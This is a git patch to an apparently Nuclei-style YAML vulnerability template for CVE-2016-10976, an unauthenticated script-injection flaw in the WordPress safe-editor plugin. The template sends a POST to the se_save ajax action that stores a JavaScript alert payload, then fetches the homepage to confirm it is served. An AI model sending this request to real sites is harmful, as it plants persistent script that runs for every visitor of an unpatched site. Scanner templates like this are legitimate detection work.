From 0a8878aba80d3d93a720dd2634d5d73d2bad0d18 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 11 Nov 2024 09:45:21 +0530 Subject: [PATCH] fix-template --- http/cves/2016/CVE-2016-10976.yaml | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/http/cves/2016/CVE-2016-10976.yaml b/http/cves/2016/CVE-2016-10976.yaml index d8227b3bf7..1b3b5fc101 100644 --- a/http/cves/2016/CVE-2016-10976.yaml +++ b/http/cves/2016/CVE-2016-10976.yaml @@ -4,20 +4,29 @@ info: name: safe-editor <= 1.1 - Unauthenticated CSS/JS-injection author: Splint3r7 severity: medium - description: When saving JS/CSS in this plugin then both private and public ajax-hooks are being used. Because of this anyone can post JS/CSS that are saved to the db and printed to the head and footer portion of the page. + description: | + The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS. remediation: | Update to the latest version of safe-editor plugin or apply the patch provided by the vendor. reference: - https://nvd.nist.gov/vuln/detail/CVE-2016-10976 + - https://wordpress.org/plugins/safe-editor/#developers + - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-10976 cwe-id: CWE-79 + epss-score: 0.00096 + epss-percentile: 0.41555 cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:* metadata: - max-request: 1 - tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan + max-request: 2 + vendor: kodebyraaet + product: safe_editor + framework: wordpress + tags: cve,cve2016,wordpress,plugin,xss,safeeditor + flow: http(1) && http(2) http: @@ -27,7 +36,7 @@ http: Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - action=se_save&type=js&data=alert("XSS") + action=se_save&type=js&data=alert("document.domain") matchers: - type: dsl @@ -36,16 +45,17 @@ http: - 'status_code == 200' - 'len(content_Length) == 0' - 'contains(content_type, "text/html")' + condition: and + internal: true - method: GET path: - "{{BaseURL}}" - matchers-condition: and + matchers: - type: dsl dsl: - - 'status_code_2 == 200' - - 'contains(content_type_2, "text/html")' - - 'contains(body_2, "alert(\"XSS\")")' - - 'contains(body_2, "save_edit_js")' - condition: and \ No newline at end of file + - 'status_code == 200' + - 'contains(content_type, "text/html")' + - 'contains_all(body, "alert(\"document.domain\")", "save_edit_js")' + condition: and